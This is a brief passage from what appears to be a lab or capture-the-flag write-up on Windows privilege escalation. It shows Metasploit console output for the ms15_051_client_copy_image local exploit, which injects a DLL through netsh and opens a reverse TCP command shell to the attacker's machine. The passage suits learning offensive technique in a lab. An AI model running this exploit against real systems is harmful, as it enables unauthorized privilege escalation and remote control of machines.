## ***Privilege Escalation***

- 1) Used local exploit suggerter to find a valid exploit

```
msf6 exploit(windows/local/ms15_051_client_copy_image) > run

[*] Started reverse TCP handler on 10.10.14.3:4444
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching netsh to host the DLL...
[+] Process 2632 launched.
[*] Reflectively injecting the DLL into 2632...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 3 opened (10.10.14.3:4444 -> 10.10.10.9:49353) at 2024-07-01 12:19:31 +0530
